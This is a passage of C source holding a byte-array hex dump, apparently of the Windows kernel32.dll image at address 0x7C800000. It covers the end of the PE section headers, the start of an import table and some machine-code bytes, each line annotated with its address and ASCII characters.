\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xDC\\x5B\\x00\\x00\" // ..........\u0010.Ü[..\n/* 7C800190 */ \"\\x54\\x2F\\x08\\x00\\x38\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // T/\b.8...........\n/* 7C8001A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 7C8001B0 */ \"\\x28\\xE3\\x04\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // (ã\u0004.@...........\n/* 7C8001C0 */ \"\\x00\\x10\\x00\\x00\\x20\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // .\u0010.. \u0006..........\n/* 7C8001D0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 7C8001E0 */ \"\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\\xB5\\x1F\\x08\\x00\\x00\\x10\\x00\\x00\" // .text...µ\u001f\b..\u0010..\n/* 7C8001F0 */ \"\\x00\\x20\\x08\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // . \b..\u0004..........\n/* 7C800200 */ \"\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\" // .... ..`.data...\n/* 7C800210 */ \"\\xA0\\x43\\x00\\x00\\x00\\x30\\x08\\x00\\x00\\x24\\x00\\x00\\x00\\x24\\x08\\x00\" //  C...0\b..$...$\b.\n/* 7C800220 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\" // ............@..À\n/* 7C800230 */ \"\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\\xC8\\x7E\\x07\\x00\\x00\\x80\\x08\\x00\" // .rsrc...È~\u0007..\b.\n/* 7C800240 */ \"\\x00\\x80\\x07\\x00\\x00\\x48\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // .\u0007..H\b.........\n/* 7C800250 */ \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\" // ....@..@.reloc..\n/* 7C800260 */ \"\\xDC\\x5B\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x5C\\x00\\x00\\x00\\xC8\\x0F\\x00\" // Ü[....\u0010..\\...È\u000f.\n/* 7C800270 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\"; // ............@..B\n\n\nconst char kernel32_dll_7c801000[] =\n/* 7C801000 */ \"\\x15\\xA4\\x92\\x7C\\x5D\\xDA\\x91\\x7C\\x82\\xD6\\x91\\x7C\\xD4\\x05\\x92\\x7C\" // \u0015¤|]Ú|Ö|Ô\u0005|\n/* 7C801010 */ \"\\x3D\\x04\\x92\\x7C\\xFD\\xDC\\x91\\x7C\\xDC\\xDF\\x91\\x7C\\x88\\xDF\\x91\\x7C\" // =\u0004|ýÜ|Üß|ß|\n/* 7C801020 */ \"\\x28\\x7C\\x94\\x7C\\x41\\xE1\\x91\\x7C\\x5B\\xE5\\x91\\x7C\\xEA\\xE6\\x91\\x7C\" // (||Aá|[å|êæ|\n/* 7C801030 */ \"\\xD9\\xE5\\x91\\x7C\\xA1\\x32\\x92\\x7C\\xE3\\xD8\\x91\\x7C\\x86\\xD5\\x91\\x7C\" // Ùå|¡2|ãØ|Õ|\n/* 7C801040 */ \"\\xD6\\x12\\x91\\x7C\\x7E\\xAE\\x93\\x7C\\xD2\\x36\\x92\\x7C\\x5A\\x03\\x92\\x7C\" // Ö\u0012|~®|Ò6|Z\u0003|\n/* 7C801050 */ \"\\x06\\x01\\x98\\x7C\\x3A\\x25\\x91\\x7C\\xFE\\xE1\\x91\\x7C\\x3C\\xDD\\x91\\x7C\" // \u0006\u0001|:%|þá|<Ý|\n/* 7C801060 */ \"\\xF4\\xD9\\x91\\x7C\\xBC\\xE7\\x91\\x7C\\xD6\\xD6\\x91\\x7C\\x3D\\xFB\\x91\\x7C\" // ôÙ|¼ç|ÖÖ|=û|\n/* 7C801070 */ \"\\x76\\x09\\x92\\x7C\\x77\\x3C\\x94\\x7C\\x8F\\x0A\\x92\\x7C\\xC6\\x30\\x92\\x7C\" // v.|w<|.|Æ0|\n/* 7C801080 */ \"\\xB3\\xDC\\x96\\x7C\\x10\\xC0\\x98\\x7C\\x4C\\xF0\\x91\\x7C\\x99\\x12\\x91\\x7C\" // ³Ü|\u0010À|Lð|\u0012|\n/* 7C801090 */ \"\\x91\\x35\\x92\\x7C\\x8A\\x47\\x92\\x7C\\x4A\\x12\\x93\\x7C\\x49\\xED\\x93\\x7C\" // 5|G|J\u0012|Ií|\n/* 7C8010A0 */ \"\\x90\\x38\\x92\\x7C\\xB1\\x41\\x92\\x7C\\x0F\\x43\\x92\\x7C\\x1B\\xE0\\x91\\x7C\" // 8|±A|\u000fC|\u001bà|\n/* 7C8010B0 */ \"\\xDE\\x61\\x93\\x7C\\x61\\x09\\x92\\x7C\\xCE\\x33\\x92\\x7C\\x1D\\x09\\x92\\x7C\" // Þa|a.|Î3|\u001d.|\n/* 7C8010C0 */ \"\\x76\\x09\\x92\\x7C\\xCE\\x0E\\x93\\x7C\\x0D\\x24\\x92\\x7C\\x53\\xE7\\x91\\x7C\" // v.|Î\u000e|.$|Sç|\n/* 7C8010D0 */ \"\\x09\\x89\\x92\\x7C\\xAA\\xE1\\x91\\x7C\\xA9\\xF8\\x96\\x7C\\x29\\xE7\\x91\\x7C\" // .|ªá|©ø|)ç|\n/* 7C8010E0 */ \"\\x28\\x65\\x94\\x7C\\xD0\\x19\\x91\\x7C\\x30\\x12\\x91\\x7C\\x86\\xAA\\x92\\x7C\" // (e|Ð\u0019|0\u0012|ª|\n/* 7C8010F0 */ \"\\xA7\\xA8\\x92\\x7C\\x79\\xA8\\x92\\x7C\\x63\\xAA\\x92\\x7C\\x11\\xAA\\x92\\x7C\" // §¨|y¨|cª|\u0011ª|\n/* 7C801100 */ \"\\xB6\\x36\\x92\\x7C\\xB3\\xAA\\x92\\x7C\\xF0\\x03\\x94\\x7C\\x7B\\xDD\\x91\\x7C\" // ¶6|³ª|ð\u0003|{Ý|\n/* 7C801110 */ \"\\xC7\\x05\\x96\\x7C\\x1A\\x08\\x96\\x7C\\x89\\x06\\x96\\x7C\\xD9\\x07\\x96\\x7C\" // Ç\u0005|\u001a\b|\u0006|Ù\u0007|\n/* 7C801120 */ \"\\xC4\\xE5\\x91\\x7C\\xDE\\x06\\x96\\x7C\\x30\\xE0\\x91\\x7C\\x5C\\x08\\x96\\x7C\" // Äå|Þ\u0006|0à|\\\b|\n/* 7C801130 */ \"\\x0D\\x07\\x96\\x7C\\x34\\x07\\x96\\x7C\\x59\\x07\\x96\\x7C\\xFD\\x40\\x92\\x7C\" // .\u0007|4\u0007|Y\u0007|ý@|\n/* 7C801140 */ \"\\xC0\\x35\\x92\\x7C\\xF2\\xBF\\x93\\x7C\\x21\\xD4\\x91\\x7C\\x02\\xBE\\x93\\x7C\" // À5|ò¿|!Ô|\u0002¾|\n/* 7C801150 */ \"\\xB5\\xD9\\x91\\x7C\\x36\\x84\\x93\\x7C\\x65\\xD8\\x91\\x7C\\xDD\\xB4\\x93\\x7C\" // µÙ|6|eØ|Ý´|\n/* 7C801160 */ \"\\xC7\\xDF\\x91\\x7C\\x95\\xC0\\x93\\x7C\\x59\\x64\\x93\\x7C\\xCB\\xF1\\x91\\x7C\" // Çß|À|Yd|Ëñ|\n/* 7C801170 */ \"\\x9B\\x2F\\x92\\x7C\\x94\\x97\\x93\\x7C\\x10\\x42\\x92\\x7C\\xED\\x10\\x91\\x7C\" // /||\u0010B|í\u0010|\n/* 7C801180 */ \"\\x05\\x10\\x91\\x7C\\x76\\xD9\\x91\\x7C\\x64\\x94\\x93\\x7C\\x7C\\xE2\\x91\\x7C\" // \u0005\u0010|vÙ|d||â|\n/* 7C801190 */ \"\\xDE\\xD4\\x91\\x7C\\x36\\xE9\\x91\\x7C\\xAD\\xDB\\x91\\x7C\\xB7\\x4D\\x92\\x7C\" // ÞÔ|6é|­Û|·M|\n/* 7C8011A0 */ \"\\x42\\x4D\\x92\\x7C\\xE1\\x4C\\x92\\x7C\\x48\\xDA\\x91\\x7C\\xF3\\xE9\\x91\\x7C\" // BM|áL|HÚ|óé|\n/* 7C8011B0 */ \"\\x4A\\x39\\x92\\x7C\\x21\\x4E\\x92\\x7C\\xDF\\x47\\x92\\x7C\\x0D\\xD9\\x91\\x7C\" // J9|!N|ßG|.Ù|\n/* 7C8011C0 */ \"\\x99\\xE0\\x91\\x7C\\x4C\\xD9\\x91\\x7C\\xCE\\xD8\\x91\\x7C\\x9F\\x80\\x93\\x7C\" // à|LÙ|ÎØ||\n/* 7C8011D0 */ \"\\x4F\\xEB\\x92\\x7C\\x06\\x07\\x93\\x7C\\xA7\\xEB\\x92\\x7C\\x80\\x2C\\x91\\x7C\" // Oë|\u0006\u0007|§ë|,|\n/* 7C8011E0 */ \"\\x81\\xB6\\x93\\x7C\\xF0\\x08\\x92\\x7C\\xEC\\x73\\x93\\x7C\\x08\\xEC\\x92\\x7C\" // ¶|ð\b|ìs|\bì|\n/* 7C8011F0 */ \"\\xD8\\xE0\\x91\\x7C\\x67\\x8F\\x94\\x7C\\xF6\\x2F\\x91\\x7C\\x73\\xDF\\x91\\x7C\" // Øà|g|ö/|sß|\n/* 7C801200 */ \"\\x6B\\xE1\\x91\\x7C\\xE4\\xDD\\x91\\x7C\\xBE\\xDC\\x91\\x7C\\x97\\xD6\\x91\\x7C\" // ká|äÝ|¾Ü|Ö|\n/* 7C801210 */ \"\\x81\\xE6\\x91\\x7C\\x0F\\xE3\\x91\\x7C\\x2D\\xE6\\x91\\x7C\\x5E\\xDF\\x91\\x7C\" // æ|\u000fã|-æ|^ß|\n/* 7C801220 */ \"\\x8A\\x18\\x92\\x7C\\x7F\\xDC\\x91\\x7C\\xB4\\xE9\\x91\\x7C\\x2D\\x1B\\x92\\x7C\" // \u0018|Ü|´é|-\u001b|\n/* 7C801230 */ \"\\x28\\xE2\\x91\\x7C\\xCA\\xD9\\x91\\x7C\\xFA\\x11\\x91\\x7C\\xB5\\x11\\x91\\x7C\" // (â|ÊÙ|ú\u0011|µ\u0011|\n/* 7C801240 */ \"\\x47\\xD5\\x91\\x7C\\x91\\xE2\\x91\\x7C\\x08\\xEA\\x91\\x7C\\x73\\x34\\x92\\x7C\" // GÕ|â|\bê|s4|\n/* 7C801250 */ \"\\xBA\\xDD\\x91\\x7C\\x55\\xDC\\x91\\x7C\\x09\\xDA\\x91\\x7C\\xFC\\x2B\\x97\\x7C\" // ºÝ|UÜ|.Ú|ü+|\n/* 7C801260 */ \"\\x60\\xE9\\x91\\x7C\\x93\\xD7\\x91\\x7C\\xB2\\xDF\\x91\\x7C\\x03\\xA7\\x92\\x7C\" // `é|×|²ß|\u0003§|\n/* 7C801270 */ \"\\xE0\\xDE\\x91\\x7C\\x9F\\x39\\x92\\x7C\\x67\\xE2\\x91\\x7C\\x95\\xE1\\x91\\x7C\" // àÞ|9|gâ|á|\n/* 7C801280 */ \"\\x07\\x6B\\x93\\x7C\\x14\\xE7\\x91\\x7C\\x5C\\x12\\x91\\x7C\\x8B\\x37\\x92\\x7C\" // \u0007k|\u0014ç|\\\u0012|7|\n/* 7C801290 */ \"\\x61\\xB7\\x92\\x7C\\x57\\x38\\x92\\x7C\\x0C\\xB7\\x92\\x7C\\x23\\x37\\x92\\x7C\" // a·|W8|.·|#7|\n/* 7C8012A0 */ \"\\xED\\x09\\x92\\x7C\\xB8\\x94\\x92\\x7C\\xFD\\x79\\x92\\x7C\\xF5\\x37\\x92\\x7C\" // í.|¸|ýy|õ7|\n/* 7C8012B0 */ \"\\xA1\\xC4\\x93\\x7C\\x49\\x08\\x92\\x7C\\xB6\\xDE\\x91\\x7C\\x13\\xE2\\x91\\x7C\" // ¡Ä|I\b|¶Þ|\u0013â|\n/* 7C8012C0 */ \"\\xEC\\xDB\\x91\\x7C\\x4B\\xE9\\x91\\x7C\\xDF\\xD9\\x91\\x7C\\xB4\\xD4\\x91\\x7C\" // ìÛ|Ké|ßÙ|´Ô|\n/* 7C8012D0 */ \"\\x33\\xDA\\x91\\x7C\\x2B\\xDC\\x91\\x7C\\x40\\xDC\\x91\\x7C\\xB1\\xDA\\x91\\x7C\" // 3Ú|+Ü|@Ü|±Ú|\n/* 7C8012E0 */ \"\\x20\\xE4\\x91\\x7C\\x18\\xE6\\x91\\x7C\\x7A\\x8E\\x92\\x7C\\x91\\x17\\x93\\x7C\" //  ä|\u0018æ|z|\u0017|\n/* 7C8012F0 */ \"\\x80\\x27\\x93\\x7C\\x4B\\x27\\x93\\x7C\\xC1\\x27\\x93\\x7C\\x17\\x39\\x92\\x7C\" // '|K'|Á'|\u00179|\n/* 7C801300 */ \"\\x74\\x33\\x92\\x7C\\x59\\xA3\\x92\\x7C\\x2A\\x55\\x93\\x7C\\x96\\x5D\\x93\\x7C\" // t3|Y£|*U|]|\n/* 7C801310 */ \"\\xD9\\xFD\\x96\\x7C\\x75\\xFC\\x96\\x7C\\xE8\\x0C\\x97\\x7C\\x18\\x0A\\x97\\x7C\" // Ùý|uü|è.|\u0018.|\n/* 7C801320 */ \"\\xE1\\xFF\\x96\\x7C\\x21\\x01\\x97\\x7C\\x46\\x2C\\x94\\x7C\\xAB\\x09\\x97\\x7C\" // áÿ|!\u0001|F,|«.|\n/* 7C801330 */ \"\\x83\\x71\\x93\\x7C\\x25\\x35\\x91\\x7C\\xEB\\xD6\\x91\\x7C\\x00\\x98\\x93\\x7C\" // q|%5|ëÖ|.|\n/* 7C801340 */ \"\\x55\\x6B\\x94\\x7C\\x8B\\x71\\x92\\x7C\\x29\\xA0\\x92\\x7C\\xAB\\xDD\\x92\\x7C\" // Uk|q|) |«Ý|\n/* 7C801350 */ \"\\x01\\xED\\x91\\x7C\\x86\\x65\\x92\\x7C\\x29\\x32\\x92\\x7C\\x19\\x76\\x94\\x7C\" // \u0001í|e|)2|\u0019v|\n/* 7C801360 */ \"\\x63\\x1C\\x96\\x7C\\x4C\\x85\\x94\\x7C\\x71\\x31\\x92\\x7C\\x39\\x9D\\x92\\x7C\" // c\u001c|L|q1|9|\n/* 7C801370 */ \"\\xDD\\xB2\\x93\\x7C\\x8F\\x19\\x93\\x7C\\x61\\x8C\\x92\\x7C\\xD5\\x2C\\x92\\x7C\" // Ý²|\u0019|a|Õ,|\n/* 7C801380 */ \"\\xA3\\x57\\x92\\x7C\\xCA\\x61\\x92\\x7C\\x88\\x9B\\x92\\x7C\\x81\\x2C\\x92\\x7C\" // £W|Êa||,|\n/* 7C801390 */ \"\\xA2\\x2C\\x92\\x7C\\x35\\xC9\\x92\\x7C\\x56\\x08\\x92\\x7C\\x74\\x33\\x92\\x7C\" // ¢,|5É|V\b|t3|\n/* 7C8013A0 */ \"\\x42\\xE6\\x91\\x7C\\x0E\\xDE\\x91\\x7C\\x15\\xD7\\x91\\x7C\\x35\\x26\\x96\\x7C\" // Bæ|\u000eÞ|\u0015×|5&|\n/* 7C8013B0 */ \"\\x0F\\xAC\\x92\\x7C\\xA5\\x03\\x92\\x7C\\xA1\\x43\\x92\\x7C\\xC1\\xA3\\x92\\x7C\" // \u000f¬|¥\u0003|¡C|Á£|\n/* 7C8013C0 */ \"\\xD8\\x8A\\x92\\x7C\\xD1\\xE7\\x91\\x7C\\xE9\\x2E\\x97\\x7C\\x02\\xE1\\x91\\x7C\" // Ø|Ñç|é.|\u0002á|\n/* 7C8013D0 */ \"\\x2E\\x91\\x93\\x7C\\x62\\xDE\\x91\\x7C\\x1A\\xDB\\x91\\x7C\\x68\\xE7\\x91\\x7C\" // .|bÞ|\u001aÛ|hç|\n/* 7C8013E0 */ \"\\xF6\\xE3\\x91\\x7C\\x87\\xDA\\x91\\x7C\\x44\\xDB\\x91\\x7C\\xB7\\xE3\\x91\\x7C\" // öã|Ú|DÛ|·ã|\n/* 7C8013F0 */ \"\\x32\\xD5\\x91\\x7C\\x32\\xEA\\x91\\x7C\\xEF\\x3D\\x93\\x7C\\x8E\\xE8\\x91\\x7C\" // 2Õ|2ê|ï=|è|\n/* 7C801400 */ \"\\xAB\\x4E\\x97\\x7C\\xB5\\x6E\\x93\\x7C\\xD2\\x44\\x92\\x7C\\xBB\\xE2\\x91\\x7C\" // «N|µn|ÒD|»â|\n/* 7C801410 */ \"\\xB2\\x77\\x92\\x7C\\x81\\xFC\\x93\\x7C\\xC1\\xD6\\x91\\x7C\\xAC\\xD6\\x91\\x7C\" // ²w|ü|ÁÖ|¬Ö|\n/* 7C801420 */ \"\\x2F\\xDB\\x91\\x7C\\x74\\xA4\\x92\\x7C\\xA0\\xA4\\x92\\x7C\\xBD\\xA4\\x92\\x7C\" // /Û|t¤| ¤|½¤|\n/* 7C801430 */ \"\\x45\\xE0\\x91\\x7C\\x90\\xDD\\x91\\x7C\\x5F\\xE4\\x91\\x7C\\x08\\xD5\\x91\\x7C\" // Eà|Ý|_ä|\bÕ|\n/* 7C801440 */ \"\\x45\\x06\\x93\\x7C\\xD2\\xD7\\x91\\x7C\\x69\\xD7\\x91\\x7C\\x57\\xD3\\x92\\x7C\" // E\u0006|Ò×|i×|WÓ|\n/* 7C801450 */ \"\\x5A\\x13\\x93\\x7C\\x2C\\xE1\\x91\\x7C\\xF1\\xDF\\x91\\x7C\\xAA\\xE1\\x91\\x7C\" // Z\u0013|,á|ñß|ªá|\n/* 7C801460 */ \"\\xD8\\xDC\\x96\\x7C\\xD3\\xDC\\x91\\x7C\\x9D\\xDF\\x91\\x7C\\xA3\\xE8\\x91\\x7C\" // ØÜ|ÓÜ|ß|£è|\n/* 7C801470 */ \"\\x99\\x44\\x92\\x7C\\x18\\xC0\\x98\\x7C\\xB3\\xDC\\x96\\x7C\\x60\\xD4\\x91\\x7C\" // D|\u0018À|³Ü|`Ô|\n/* 7C801480 */ \"\\x7D\\xAA\\x93\\x7C\\xB0\\x73\\x93\\x7C\\xEC\\x32\\x93\\x7C\\xC1\\x33\\x93\\x7C\" // }ª|°s|ì2|Á3|\n/* 7C801490 */ \"\\x2A\\x1A\\x92\\x7C\\x70\\xE5\\x91\\x7C\\x71\\xD5\\x91\\x7C\\xCB\\xDE\\x91\\x7C\" // *\u001a|på|qÕ|ËÞ|\n/* 7C8014A0 */ \"\\xA8\\xD7\\x91\\x7C\\xCF\\xDD\\x91\\x7C\\xFA\\xE2\\x91\\x7C\\x00\\xD7\\x91\\x7C\" // ¨×|ÏÝ|úâ|.×|\n/* 7C8014B0 */ \"\\x51\\xDD\\x91\\x7C\\xE5\\xE2\\x91\\x7C\\xFB\\xE7\\x91\\x7C\\x9F\\xE9\\x91\\x7C\" // QÝ|åâ|ûç|é|\n/* 7C8014C0 */ \"\\x50\\xD8\\x91\\x7C\\xE7\\xD7\\x91\\x7C\\x38\\xDE\\x91\\x7C\\x7D\\xE7\\x91\\x7C\" // PØ|ç×|8Þ|}ç|\n/* 7C8014D0 */ \"\\x5C\\xD5\\x91\\x7C\\x58\\xD6\\x91\\x7C\\x64\\x36\\x92\\x7C\\xC1\\x2D\\x91\\x7C\" // \\Õ|XÖ|d6|Á-|\n/* 7C8014E0 */ \"\\x75\\x03\\x98\\x7C\\x57\\x0A\\x92\\x7C\\x87\\x74\\x92\\x7C\\xE2\\x01\\x92\\x7C\" // u\u0003|W.|t|â\u0001|\n/* 7C8014F0 */ \"\\xF9\\xDD\\x91\\x7C\\x26\\x91\\x92\\x7C\\xFD\\x90\\x92\\x7C\\x72\\xDA\\x91\\x7C\" // ùÝ|&|ý|rÚ|\n/* 7C801500 */ \"\\xF2\\xE4\\x91\\x7C\\x4F\\xE8\\x91\\x7C\\xAC\\xEB\\x91\\x7C\\x3D\\x39\\x92\\x7C\" // òä|Oè|¬ë|=9|\n/* 7C801510 */ \"\\x6C\\x97\\x92\\x7C\\x69\\x5F\\x93\\x7C\\xCD\\x5C\\x93\\x7C\\xAF\\x5F\\x93\\x7C\" // l|i_|Í\\|¯_|\n/* 7C801520 */ \"\\x3D\\xE2\\x91\\x7C\\x47\\xEA\\x91\\x7C\\xF3\\x59\\x94\\x7C\\xA3\\xDC\\x93\\x7C\" // =â|Gê|óY|£Ü|\n/* 7C801530 */ \"\\x7B\\xD9\\x93\\x7C\\xD8\\x76\\x93\\x7C\\x8D\\xEE\\x93\\x7C\\xF8\\xEB\\x93\\x7C\" // {Ù|Øv|î|øë|\n/* 7C801540 */ \"\\xAC\\xDF\\x93\\x7C\\xCD\\x83\\x94\\x7C\\x07\\xD7\\x93\\x7C\\xC1\\xED\\x96\\x7C\" // ¬ß|Í|\u0007×|Áí|\n/* 7C801550 */ \"\\x42\\x05\\x96\\x7C\\x4D\\x50\\x96\\x7C\\x09\\x1A\\x91\\x7C\\xBF\\x2F\\x96\\x7C\" // B\u0005|MP|.\u001a|¿/|\n/* 7C801560 */ \"\\xEB\\x38\\x96\\x7C\\xD7\\x2E\\x96\\x7C\\x7C\\x74\\x94\\x7C\\x68\\x7F\\x94\\x7C\" // ë8|×.||t|h|\n/* 7C801570 */ \"\\x6F\\xEC\\x91\\x7C\\xB1\\x40\\x93\\x7C\\x8C\\x72\\x94\\x7C\\x34\\x4C\\x93\\x7C\" // oì|±@|r|4L|\n/* 7C801580 */ \"\\x28\\x03\\x98\\x7C\\x27\\xDD\\x91\\x7C\\x79\\xE8\\x91\\x7C\\xEE\\xE5\\x91\\x7C\" // (\u0003|'Ý|yè|îå|\n/* 7C801590 */ \"\\xE2\\x00\\x92\\x7C\\x0D\\x6A\\x96\\x7C\\x0D\\x76\\x92\\x7C\\xE9\\x76\\x92\\x7C\" // â.|.j|.v|év|\n/* 7C8015A0 */ \"\\x7C\\xCC\\x92\\x7C\\x25\\xEB\\x92\\x7C\\x75\\x02\\x93\\x7C\\x91\\x0A\\x93\\x7C\" // |Ì|%ë|u\u0002|.|\n/* 7C8015B0 */ \"\\x55\\xFE\\x92\\x7C\\x5B\\x01\\x93\\x7C\\x89\\xFB\\x91\\x7C\\x30\\x05\\x93\\x7C\" // Uþ|[\u0001|û|0\u0005|\n/* 7C8015C0 */ \"\\x71\\x07\\x93\\x7C\\x37\\xE9\\x92\\x7C\\x1B\\x67\\x92\\x7C\\xA1\\xC2\\x92\\x7C\" // q\u0007|7é|\u001bg|¡Â|\n/* 7C8015D0 */ \"\\xCB\\x0A\\x93\\x7C\\x19\\x53\\x92\\x7C\\xEC\\x91\\x93\\x7C\\x02\\x1B\\x91\\x7C\" // Ë.|\u0019S|ì|\u0002\u001b|\n/* 7C8015E0 */ \"\\x9A\\x47\\x93\\x7C\\xEF\\x60\\x97\\x7C\\x71\\x73\\x93\\x7C\\x5A\\xE0\\x91\\x7C\" // G|ï`|qs|Zà|\n/* 7C8015F0 */ \"\\x49\\xDF\\x91\\x7C\\xA6\\x08\\x98\\x7C\\x09\\xB0\\x92\\x7C\\x39\\x81\\x93\\x7C\" // Iß|¦\b|.°|9|\n/* 7C801600 */ \"\\x43\\xD6\\x91\\x7C\\xE9\\x4B\\x93\\x7C\\x59\\x60\\x94\\x7C\\xFE\\x8B\\x92\\x7C\" // CÖ|éK|Y`|þ|\n/* 7C801610 */ \"\\x34\\xDF\\x91\\x7C\\xBC\\x02\\x98\\x7C\\x40\\x7A\\x94\\x7C\\x00\\x00\\x00\\x00\" // 4ß|¼\u0002|@z|....\n/* 7C801620 */ \"\\x90\\x90\\x90\\x90\\x90\\x6A\\x14\\x68\\xB0\\x0A\\x81\\x7C\\xE8\\x95\\x0E\\x00\" // j\u0014h°.|è\u000e.\n/* 7C801630 */ \"\\x00\\x8B\\x4D\\x0C\\x8B\\xC1\\x25\\x00\\x00\\xFF\\xFF\\x3D\\x00\\x00\\x09\\x00\" // .M.Á%..ÿÿ=....\n/* 7C801640 */ \"\\x0F\\x95\\xC0\\x8B\\x75\\x24\\x33\\xDB\\xFF\\x75\\x1C\\xFF\\x75\\x18\\xFF\\x75\" // \u000fÀu$3Ûÿu\u001cÿu\u0018ÿu\n/* 7C801650 */ \"\\x14\\xFF\\x75\\x10\\x51\\x3B\\xF3\\x75\\x3E\\x3A\\xC3\\x8D\\x45\\xDC\\x50\\x53\" // \u0014ÿu\u0010Q;óu>:ÃEÜPS\n/* 7C801660 */ \"\\x53\\x53\\xFF\\x75\\x08\\x0F\\x84\\xD8\\x00\\x00\\x00\\xFF\\x15\\x38\\x10\\x80\" // SSÿu\b\u000fØ...ÿ\u00158\u0010\n/* 7C801670 */ \"\\x7C\\x3D\\x03\\x01\\x00\\x00\\x0F\\x84\\xB0\\x00\\x00\\x00\\x3B\\xC3\\x0F\\x8C\" // |=\u0003\u0001..\u000f°...;Ã\u000f\n/* 7C801680 */ \"\\xCA\\x00\\x00\\x00\\x8B\\x45\\x20\\x8B\\x4D\\xE0\\x89\\x08\\x33\\xC0\\x40\\xE8\" // Ê...E Mà\b3À@è\n/* 7C801690 */ \"\\x6D\\x0E\\x00\\x00\\xC2\\x20\\x00\\xC7\\x06\\x03\\x01\\x00\\x00\\x56\\x3A\\xC3\" // m\u000e..Â .Ç\u0006\u0003\u0001..V:Ã\n/* 7C8016A0 */ \"\\x8B\\x46\\x10\\x8B\\xC8\\x74\\x52\\x80\\xE1\\x01\\xF6\\xD9\\x1B\\xC9\\xF7\\xD1\" // F\u0010ÈtRá\u0001öÙ\u001bÉ÷Ñ\n/* 7C8016B0 */ \"\\x23\\xCE\\x51\\x53\\x50\\xFF\\x75\\x08\\xFF\\x15\\x38\\x10\\x80\\x7C\\x89\\x45\" // #ÎQSPÿu\bÿ\u00158\u0010|E\n/* 7C8016C0 */ \"\\xE4\\xB9\\x00\\x00\\x00\\xC0\\x23\\xC1\\x3B\\xC1\\x74\\x13\\x8B\\x45\\x20\\x3B\" // ä¹...À#Á;Át\u0013E ;\n/* 7C8016D0 */ \"\\xC3\\x74\\x0C\\x89\\x5D\\xFC\\x8B\\x4E\\x04\\x89\\x08\\x83\\x4D\\xFC\\xFF\\x39\" // Ãt.]üN\u0004\bMüÿ9\n/* 7C8016E0 */ \"\\x5D\\xE4\\x7C\\x09\\x81\\x7D\\xE4\\x03\\x01\\x00\\x00\\x75\\x9F\\xFF\\x75\\xE4\" // ]ä|.}ä\u0003\u0001..uÿuä\n/* 7C8016F0 */ \"\\xE8\\x76\\x7C\\x00\\x00\\x33\\xC0\\xEB\\x96\\x80\\xE1\\x01\\xF6\\xD9\\x1B\\xC9\" // èv|..3Àëá\u0001öÙ\u001bÉ\n/* 7C801700 */ \"\\xF7\\xD1\\x23\\xCE\\x51\\x53\\x50\\xFF\\x75\\x08\\xFF\\x15\\x04\\x10\\x80\\x7C\" // ÷Ñ#ÎQSPÿu\bÿ\u0015\u0004\u0010|\n/* 7C801710 */ \"\\xEB\\xAC\\x90\\x90\\x90\\x90\\x90\\x33\\xC0\\x40\\xC3\\x90\\x90\\x90\\x90\\x90\" // ë¬3À@Ã\n/* 7C801720 */ \"\\x8B\\x65\\xE8\\x33\\xDB\\x8B\\x45\\x20\\x89\\x18\\xEB\\xAF\\x53\\x53\\xFF\\x75\" // eè3ÛE \u0018ë¯SSÿu\n/* 7C801730 */ \"\\x08\\xFF\\x15\\x28\\x12\\x80\\x7C\\x3B\\xC3\\x7C\\x13\\x8B\\x45\\xDC\\xE9\\x39\" // \bÿ\u0015(\u0012|;Ã|\u0013EÜé9\n/* 7C801740 */ \"\\xFF\\xFF\\xFF\\xFF\\x15\\x04\\x10\\x80\\x7C\\xE9\\x23\\xFF\\xFF\\xFF\\x8B\\xD0\" // ÿÿÿÿ\u0015\u0004\u0010|é#ÿÿÿÐ\n/* 7C801750 */ \"\\xB9\\x00\\x00\\x00\\xC0\\x23\\xD1\\x3B\\xD1\\x74\\x08\\x8B\\x4D\\x20\\x8B\\x55\" // ¹...À#Ñ;Ñt\bM U\n/* 7C801760 */ \"\\xE0\\x89\\x11\\x50\\xEB\\x8A\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\" // à\u0011PëÿUì\n/* 7C801770 */ \"\\x83\\xEC\\x18\\xA1\\x18\\x00\\xFE\\x7F\\x89\\x45\\xFC\\x8B\\x0D\\x14\\x00\\xFE\" // ì\u0018¡\u0018.þEü.\u0014.þ\n/* 7C801780 */ \"\\x7F\\x89\\x4D\\xF8\\x3B\\x05\\x1C\\x00\\xFE\\x7F\\x75\\xE7\\x8D\\x45\\xE8\\x50\" // Mø;\u0005\u001c.þuçEèP\n/* 7C801790 */ \"\\x8D\\x45\\xF8\\x50\\xFF\\x15\\xC8\\x10\\x80\\x7C\\x8B\\x45\\x08\\x66\\x8B\\x4D\" // EøPÿ\u0015È\u0010|E\bfM\n/* 7C8017A0 */ \"\\xE8\\x66\\x89\\x08\\x66\\x8B\\x4D\\xEA\\x66\\x89\\x48\\x02\\x66\\x8B\\x4D\\xF6\" // èf\bfMêfH\u0002fMö\n/* 7C8017B0 */ \"\\x66\\x89\\x48\\x04\\x66\\x8B\\x4D\\xEC\\x66\\x89\\x48\\x06\\x66\\x8B\\x4D\\xEE\" // fH\u0004fMìfH\u0006fMî\n/* 7C8017C0 */ 